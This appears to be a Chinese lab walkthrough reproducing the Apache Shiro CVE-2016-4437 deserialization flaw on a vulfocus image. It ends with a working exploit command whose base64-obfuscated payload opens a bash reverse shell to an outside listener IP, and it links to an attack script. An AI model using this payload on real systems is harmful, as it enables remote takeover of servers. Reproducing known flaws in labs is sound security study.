漏洞概述:
该漏洞发布于2016年6月,属于java反序列化漏洞的一种,Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。
Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞复现:
在vulfocus平台上拉取下载shiro-cve_2016_4437漏洞镜像,并运行漏洞环境
在浏览器访问使用root用户登录,并勾选Remember ME,点击登录
攻击脚本:https://download.youkuaiyun.com/download/fairy1016/20371436
将python 反弹shell命令通过网站http://www.jackson-t.ca/runtime-exec-payloads.html 编码
ip为下面用来监听的linux系统的ip,端口任意。
启用nc监听:
执行攻击poc:
python shiro_exploit.py -t 3 -u http://118.193.36.37:29577 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDUuMTgzLjE1OS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"
成功拿到反弹shell